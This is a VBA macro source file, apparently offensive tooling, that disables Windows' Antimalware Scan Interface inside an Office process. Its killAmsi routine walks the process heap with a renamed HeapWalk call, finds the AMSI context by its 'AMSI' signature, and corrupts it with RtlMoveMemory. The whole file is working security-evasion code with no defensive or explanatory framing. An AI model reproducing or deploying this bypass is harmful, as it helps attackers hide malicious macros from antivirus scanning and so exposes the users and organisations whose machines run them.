amsiByPassWithRTLMoveMemory.vba

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type


Private Type PROCESS_HEAP_ENTRY
    lpData As Long
    cbData As Long
    bOverhead As Byte
    iRegionIndex As Byte
    wFlagsLow As Byte
    wFlagsHigh As Byte
    tmp1 As Long
    tmp2 As Long
    tmp3 As Long
    tmp4 As Long
    tmp5 As Long
    tmp6 As Long
    tmp7 As Long
    tmp8 As Long
End Type


#If VBA7 Then
    Private Declare PtrSafe Function GetHeap Lib "kernel32" Alias "GetProcessHeap" () As Long
    Private Declare PtrSafe Function GetHeapHandles Lib "kernel32" Alias "GetProcessHeaps" (ByVal numHeaps As Long, ByRef HeapHandles As Any) As Long
    Private Declare PtrSafe Function MoonWalk Lib "kernel32" Alias "HeapWalk" (ByVal heapHandle As LongPtr, ByRef phEntry As Any) As Integer
    Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
#Else
    ' empty
#End If



Sub killAmsi()

    Dim heapHandle As Long
    Dim numHandles As Long
    Dim phe As PROCESS_HEAP_ENTRY


   
    Dim bytesWritten As Long
    bytesWritten = &HDEADBEEF
    
    ' fetch initial process heap entry
    phe.lpData = 0
    numHandles = GetHeapHandles(1, heapHandle)
    Debug.Print "our heap handle is: " & Hex(heapHandle)
       
    retVal = MoonWalk(heapHandle, phe)
      
    Dim count As Long
    Dim magicWord As Long
    Dim size As Long
    count = 0
    Dim i As Long
    
    
    Dim startTime As Single
    startTime = Timer()
    
    Do While MoonWalk(heapHandle, phe) <> 0
        count = count + 1
        If ((phe.wFlagsLow And &H14) <> 0) And (1 = 1) Then
            
            magicWord = &HDEADBEEF
            CopyMem ByVal VarPtr(magicWord), ByVal phe.lpData, 4
            If magicWord = &H49534D41 Then
                Debug.Print "gotcha at address: " & Hex(phe.lpData) & " length: " & phe.cbData & " PHE nr: " & count
                ' mess it up and copy it back
                magicWord = &HDEADBEEF
                CopyMem ByVal phe.lpData, ByVal VarPtr(magicWord), 4
                GoTo ende
            End If
            ' Debug.Print "Iteration: " & count
        End If
    Loop
    
    Debug.Print "Magic word not found?! is he already dead?"
    Debug.Print "Iterated phes: " & count
    
ende:
    Dim endTime As Single
    endTime = Timer()
    Dim runTime As Single
    runTime = endTime - startTime
    Debug.Print "runtime: " & runTime


End Sub